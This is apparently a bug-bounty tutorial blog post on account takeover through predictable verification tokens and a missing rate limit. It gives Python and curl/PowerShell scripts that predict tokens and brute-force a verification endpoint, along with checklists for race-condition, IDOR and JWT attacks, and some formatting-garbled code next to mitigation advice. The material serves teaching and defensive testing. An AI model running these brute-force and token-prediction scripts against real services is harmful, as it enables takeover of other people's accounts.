Listen to this Post
Introduction:
Verification links are supposed to be unpredictable, but when an algorithm generates tokens using weak entropy or deterministic patterns, attackers can hijack accounts in minutes. This article dissects a real‑world $1,100 bug bounty win involving a predictable account verification flow and a missing rate limit—two classic authentication flaws that automated scanners often miss, yet manual testers can reliably exploit.
Learning Objectives:
- Understand how predictable token generation leads to account takeover (ATO) and how to test for it manually.
- Identify and exploit missing rate limits on verification endpoints to brute‑force valid tokens.
- Apply practical mitigation techniques, including secure random token generation, rate limiting, and request throttling.
You Should Know:
1. Predicting the Verification Algorithm – Step‑by‑Step Exploitation
The core vulnerability lies in a verification link like `https://target.com/verify?token=USER123_20260422_9876`. If the token follows a reversible pattern—timestamp, user ID, or a weak hash—an attacker can forge the next valid token.
Step‑by‑step guide to test for predictable tokens:
- Capture multiple verification links sent to your own email or intercepted via proxy (Burp Suite, OWASP ZAP).
Example tokens:
`token=1001_20260422_a1b2c3`
`token=1002_20260422_a1b2c4`
- Analyze the pattern – Look for incremental user IDs, date/time stamps, or short hashes.
Use a Python script to brute‑force the next token:
import hashlib
import time
Hypothetical vulnerable token generator
def generate_token(user_id):
seed = f"{user_id}_{int(time.time()/3600)}" changes every hour
return hashlib.md5(seed.encode()).hexdigest()[:8]
Predict next token for user_id=1003
print(generate_token(1003))
- Verify the prediction – Register a test account, request a verification link, and see if your predicted token matches the one sent. If yes, you can verify any user’s account.
-
Exploit for ATO – Use the predicted token on a victim’s account (e.g., user ID 1003) to complete verification without access to their email.
Linux / Windows commands to assist (using `curl` and jq):
Enumerate user IDs (if sequential)
for id in {1000..1010}; do
curl -s "https://target.com/verify?token=$(python3 predict.py $id)" | grep "verified"
done
- No Rate Limit on Verification Endpoint – Brute‑Force Made Easy
A missing rate limit allows unlimited requests to the verification endpoint, enabling an attacker to brute‑force short tokens (e.g., 6‑digit codes or predictable hashes).
Step‑by‑step guide to test and exploit rate limit absence:
- Send repeated requests to the verification endpoint (e.g., POST
/verify) with different token values. Use Burp Intruder or a simple script.
Linux – using curl in a loop
for i in {1..1000}; do
curl -X POST https://target.com/verify \
-d "user_id=1003&token=$i" \
-H "Content-Type: application/x-www-form-urlencoded"
done
- Monitor responses – If you receive 200 OK for all requests (no 429 Too Many Requests or CAPTCHA), the endpoint is vulnerable.
-
Brute‑force token space – For a 6‑digit numeric token (1,000,000 combinations), a single thread can finish in hours. Use parallel threads:
import requests
import threading
def brute_force(start, end):
for token in range(start, end):
r = requests.post("https://target.com/verify", data={"token": token})
if "success" in r.text:
print(f"Valid token: {token}")
break
threads = []
for i in range(0, 1000000, 100000):
t = threading.Thread(target=brute_force, args=(i, i+100000))
t.start()
threads.append(t)
- Escalate to ATO – Once you find a valid token for a target user, you can verify their account and reset credentials.
Windows PowerShell equivalent:
1..1000 | ForEach-Object {
Invoke-RestMethod -Uri "https://target.com/verify" -Method POST -Body @{token=$_}
}
3. Mitigation – Hardening Verification Tokens and Endpoints
To fix these vulnerabilities, implement the following controls:
- Cryptographically secure tokens – Use `secrets.token_urlsafe(32)` in Python or `random_bytes(32)` in Node.js, never timestamps or sequential IDs.
- Rate limiting – Apply per‑IP and per‑user throttling (e.g., 5 requests per minute) using tools like
fail2ban, cloud WAF, or API gateways. - Token expiration – Set short TTLs (e.g., 15 minutes) and invalidate tokens after use.
- Request signing – Add HMAC signatures to verification links to prevent tampering.
Example mitigation code (Node.js/Express):
const crypto = require('crypto');
const rateLimit = require('express-rate-limit');
const verifyLimiter = rateLimit({
windowMs: 15 60 1000, // 15 minutes
max: 5,
message: "Too many verification attempts"
});
app.post('/verify', verifyLimiter, (req, res) => {
const token = crypto.randomBytes(32).toString('hex');
// store token in DB with expiration
// send email with link containing token
});
- Testing for Logic Flaws – Manual vs. Automated
Automated scanners miss business logic flaws because they don’t understand state. Manual testing should focus on:
- Token reuse – Can a used token verify another account?
- Parameter pollution – Does adding `&token=valid` override a bad token?
- Race conditions – Send two verification requests simultaneously for the same user to bypass “one‑time” checks.
Burp Suite configuration for testing:
1. Send a verification request to Repeater.
- Modify the `user_id` parameter to another user’s ID.
- If the response shows “verified”, you’ve found an IDOR + predictable token combo.
-
API Security – Applying These Lessons to REST/GraphQL
Verification endpoints are often API calls. Test for:
- GraphQL introspection – Query `__schema` to find mutation names like
verifyAccount. - JWT prediction – If tokens are JWTs, check if the `alg` is set to `none` or if the secret is weak (
secret). - Broken object level authorization (BOLA) – Change `userId` in the request body to access another user’s verification flow.
Linux command to decode JWT without verification:
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjN9" | cut -d"." -f2 | base64 -d
What Undercode Say:
- Manual testing outperforms automated scanners when targeting authentication logic flaws—predictable tokens and missing rate limits are prime examples.
- Even simple misconfigurations like no rate limiting on a critical endpoint can lead to full account takeover when combined with token enumeration.
- Developers must treat verification tokens as session secrets, generated with high entropy and protected by throttling, expiration, and one‑time use policies.
- Bug bounty hunters should always collect multiple verification links and look for patterns; time‑based or incremental tokens are still shockingly common.
- API security testing must include abuse of stateful operations—verification, password reset, email change—where business logic errors hide.
Prediction:
As AI‑powered scanners become mainstream, human testers will shift focus to complex multi‑step logic flaws like token prediction and race conditions. However, the rise of serverless and microservice architectures may introduce new token generation pitfalls (e.g., using Lambda execution timestamps as entropy). Expect more bounties in the $1,000–$5,000 range for verification bypasses, and a corresponding surge in demand for secure token design reviews and chaos engineering for authentication flows.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Rohith S – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
